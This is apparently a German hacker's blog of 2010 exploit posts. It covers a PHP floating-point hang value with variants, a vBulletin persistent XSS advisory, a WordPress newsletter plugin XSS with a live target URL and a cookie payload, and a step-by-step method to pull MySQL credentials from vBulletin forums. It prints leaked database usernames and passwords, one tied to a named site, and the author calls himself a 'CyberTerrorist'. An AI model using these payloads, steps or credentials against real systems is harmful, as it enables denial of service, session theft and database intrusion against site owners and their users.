Guten Morgen.

Ein Kollege hat mich darauf hingewiesen & mittlerweile geht es auch durchs Netz. (;
Wenn man einen bestimmten Wert einer Variable zuordnet und diesen dann per echo abruft, entsteht eine unendliche Schleife.

Folgende Varianten sind möglich bzw. verschieden Schreibformen des Wertes:

<?php $d = '2.2250738585072011e-308'; echo $d; ?> 
<?php $d = '0.22250738585072011e-307'; echo $d; ?> 
<?php $d = '22.250738585072011e-309'; echo $d; ?> 
<?php $d = '22250738585072011e-324'; echo $d; ?> 
<?php $d = '02.2250738585072011e-308'; echo $d; ?> 
<?php $d = '2.22507385850720110e-308'; echo $d; ?> 
<?php $d = '2.2250738585072011e-0308'; echo $d; ?>
 
Außerdem ist es möglich den Wert auszuschreiben, dies hat den gleichen Effekt.
Andere Möglichkeiten sind z.B. Kombinationen aus diesen Möglichkeiten/Werten etc.

Diese Nachricht geht schon durch einige Diskussionsforen/-seiten, wer mitlesen will kann dies auf folgenden Seiten machen, es ist auf jeden Fall sehr interessant.
Außerdem gibt es auf den Seiten Beweise und Systeminformationen, bei denen die Systeme sich aufhängen.

Die Seite wo es veröffentlich wurde: PHP Hangs On Numeric Value 2.2250738585072011e-308 - Exploring Binary

Diskussionsseiten:
- Reddit
- Hacker News (Beitrag 1) & (Beitrag 2)
- Der PHP bug report von dem Entdecker.

Mit freundlichen Grüßen,
~bursali

Found that today. (;

	.o8                                               oooo   o8o
	"888                                               `888   `"'
	888oooo.  oooo  oooo  oooo d8b  .oooo.o  .oooo.    888  oooo
	d88' `88b `888  `888  `888""8P d88(  "8 `P  )88b   888  `888
	888   888  888   888   888     `"Y88b.   .oP"888   888   888
	888   888  888   888   888     o.  )88b d8(  888   888   888
	`Y8bod8P'  `V88V"V8P' d888b    8""888P' `Y888""8o o888o o888o 
Technical Information
==============
Testing Date:            06.10.2010 - 19.27
Tested on OS:            Windows Seven x86
Vulnerable Products:    vBulletin
Product Version:        x - 4.0.7
Vulnerability Type(s):   Persistent Cross Site Scripting
Security-Risk:            Medium [But remember. Persistent XSS is still dangerous!]
Vendor-URL:                http://vbulletin.com
Vulnerability Details
==============
It is possible to inject code using the vBulletin Notice Manager.
You need an account with enough rights to create notices!
Proof of Concept
==============
1.) Input:

2.) Simple document.cookie output:

3.) Inject Frame Code:

4.) Inject iFrame:

Fix or Patch
==============
Wait for an update from the vBulletin Team or format the inserted
content via special-chars to fix this.
Last words
==============
For questions or donations, you can feel free to contact websec@bursali.eu.
Credits
==============
The author & writer bursali.
(c) 2009-2010 bursali.eu

vBulletin - All Versions - Persistent Cross Site Scripting [Notices]

As HTML File: Click here..

	.o8                                               oooo   o8o
	"888                                               `888   `"'
	888oooo.  oooo  oooo  oooo d8b  .oooo.o  .oooo.    888  oooo
	d88' `88b `888  `888  `888""8P d88(  "8 `P  )88b   888  `888
	888   888  888   888   888     `"Y88b.   .oP"888   888   888
	888   888  888   888   888     o.  )88b d8(  888   888   888
	`Y8bod8P'  `V88V"V8P' d888b    8""888P' `Y888""8o o888o o888o 
########################### INFORMATIONS ##################################
#
#
# [+] Exploit Title: WordPress Newsletter Plugin - Cross Site Scripting
Vulnerabilities
# [+] Date: 25-07-2010
# [+] Author: bursali | admin[at]bursali.eu | www.bursali.eu
# [+] Software Link: http://tribulant.com/products/view/1/wordpress-mailing-list
# [+] Price: $49.99
# [+] Version: v3.8.3 & older versions
# [+] Tested on: PHP
# [+] Dork: Use your brain (;
#
# [?] Greetz to: GabberGandalf, fred777, J0hn.X3r, Montaxx, DeeWayne,
#		 Nazrek, gf0x, Sawyer, VeN0m, Lidloses_Auge, Suicide, Toastbrot,
#		 Dexx, enco, soulstoned, HooHead, Cyb3r P1rat, DizzY_D, Free-Hack,
#		 and the wh0le other morons ;D
#
#
###################################################################################
########################## Exploit #############################
The "EMail Address"-Form is vulnerable.
Example:
Put your XSS Code into the EMail Field and add quotation mark before you XSS code. (;
Live Example:
-> Go to: http://wpml.wpplugins.biz/
-> Put that into the EMail Field: "< script>alert(document.cookie)< /script>
-> Remove spaces.
-> *-*
########################## LAST WORDS #############################
Visit www.bursali.eu - Home of the CyberTerrorist <3
~bursali 
#####

Habe gerade einen interessanten Beitrag von J0hn.X3r in meinem RSS Fach gefunden. (:
Es ist wirklich erstaunlich, wie der Jelsoft Enterprises Ltd. so ein leichtsinniger Fehler unterlaufen ist.

Ist vllt schon dem ein oder anderen bekannt, aber ich find das echt interessant, dass einer großen und maechtigen Forensoftware wie vBulletin der Fehler unterlaufen kann, dass die MySQL Zugangsdaten fuer jede beliebige Person sichtbar werden kann.

Die Luecke wurde heute nachmittag veroeffentlicht und vBulletin reagierte mit einem Patch darauf.

Die faq.php wurde nur indirekt davon betroffen und dient eher als “Ausgabe”, da ein Fehler in den phrases dafuer verantwortlich war.

Wo befindet sich die Luecke?

Schauen wir uns mal die /install/vbulletin-language-de-du.xml Datei an und suchen nach “database_ingo” – was finden wir? Ah, interessant:

1 2 3 4 5

<phrase name="database_ingo" date="1277901074" username="Adduco" version="3.8.6"><![CDATA[Datenbank-Name: {$vbulletin->config['Database']['dbname']}<br /> Datenbank-Server: {$vbulletin->config['MasterServer']['servername']}<br /> Datenbank-Port: {$vbulletin->config['MasterServer']['port']}<br /> Datenbank-Benutzername: {$vbulletin->config['MasterServer']['username']}<br /> Datenbank-Kennwort: {$vbulletin->config['MasterServer']['password']}]]></phrase>

Es werden uns also unsere MySQL Datenbank Daten ausgegeben.

In der englischen Version sieht das ganze aehnlich aus /install/vbulletin-language.xml line 3701:

1 2 3 4 5

<phrase name="database_ingo" date="1271086009" username="Jelsoft" version="3.8.5"><![CDATA[Database Name: {$vbulletin->config['Database']['dbname']}<br /> Database Host: {$vbulletin->config['MasterServer']['servername']}<br /> Database Port: {$vbulletin->config['MasterServer']['port']}<br /> Database Username: {$vbulletin->config['MasterServer']['username']}<br /> Database Password: {$vbulletin->config['MasterServer']['password']}]]></phrase>

Wie nutze ich das nun aus?

Wir suchen uns ein Forum, welches von dieser Luecke betroffen ist, klicken oben auf “Hilfe”/”FAQ”, geben bei “Suchbegriffe” bzw. “Search Word(s):” dann “Datenbank” (bzw. database) ein und sehen dann, aha, erster Treffer:

Datenbank-Name: vbulletin
Datenbank-Server: localhost
Datenbank-Port: 3306
Datenbank-Benutzername: root
Datenbank-Kennwort: my4moo

Bzw. auf nem englischen Board:

Database Name: pro_astrogaming_com
Database Host: localhost
Database Port: 3306
Database Username: pro_astrogaming
Database Password: gitl0st

Screenshot

Auf das, was man damit anfangen kann, brauche ich denk ich nicht weiter drauf eingehen.

Wie schuetze ich mich davor?
Wie oben bereits gepostet durch einen Patch von der offiziellen vBulletin Seite, oder durch ein MySQL Query:

1	DELETE FROM `vb_phrase` WHERE `varname`='database_ingo'

Soviel dazu erstmal, wuensch euch noch eine schoene Woche

Danke für diesen interessanten Beitrag J0hn.X3r (:
Quelle..

Mit freundlichen Grüßen
~bursali